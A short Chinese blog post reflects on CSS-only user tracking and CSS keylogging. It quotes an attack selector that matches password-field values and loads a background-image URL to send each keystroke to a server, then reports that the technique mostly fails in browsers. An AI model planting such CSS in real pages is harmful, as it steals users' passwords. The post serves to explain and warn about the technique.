CSS选择器引起的一些思考

今天在看技术博客的时候发现这个帖子，感觉挺有趣的，于是就去挖了一下，问题已经是老问题，但是还是有很多值得注意和学习的地方。

原文帖是 仅用CSS实现网页追踪分析,主要讲的是通过CSS来记录用户的交互操作和获取一些基本信息。我的第一感觉就是可以用来做推荐系统的用户交互记录，通过这种方式能够记录用户鼠标在哪些元素上悬停的时间，以及点击的操作，等等。

浏览器熏染HTML文件是从上而下渲染的(需要加载完.css文件之后才会继续向下渲染)，要是加入许多这些追踪用户样式的代码可能会影响页面的加载效率，但是要是有目的性的去使用这些功能，或许就比较值得了，比如说记录用户的按键输入。

随着这个思路，我自己尝试了一下构造CSS选择器去匹配用户的输入，CSS选择器语法参考,另外在Google的帮助下也找到了用来获取按键输入的CSS脚本，其实想法都差不多，脚本传送门-搜到的版本 CSS-Keylogging。

主要思路是通过类似input[type="password"][value$="x"]{ background-image: url("http://localhost:3000/x"); }的方式来进行获取按键，意思就是input标签的type值为password的input中将value以x结尾的背景设置为url所指向的背景，但其实这个url不是图片背景而是一个指向传送按键信息的链接。之后你懂得通过服务端获取url中的path就能取到值了。然后对每个按键到设置一个CSS脚本即可。

但其实这种方式我尝试了很多次没有成功，浏览器不会主动将input中输入的值存在value中，所以CSS匹配的一直是初始化状态下的value属性值，只有那些将value同步的框架才可能引发这些危害。

但是有一点可以确认，可以通过css中地url发送get请求。这让我想到jsonp的原理，通过像构造类似script标签中地src属性的方式来解决跨域问题，要是不注意第三方库，很可能也存在这种恶意脚本的加载。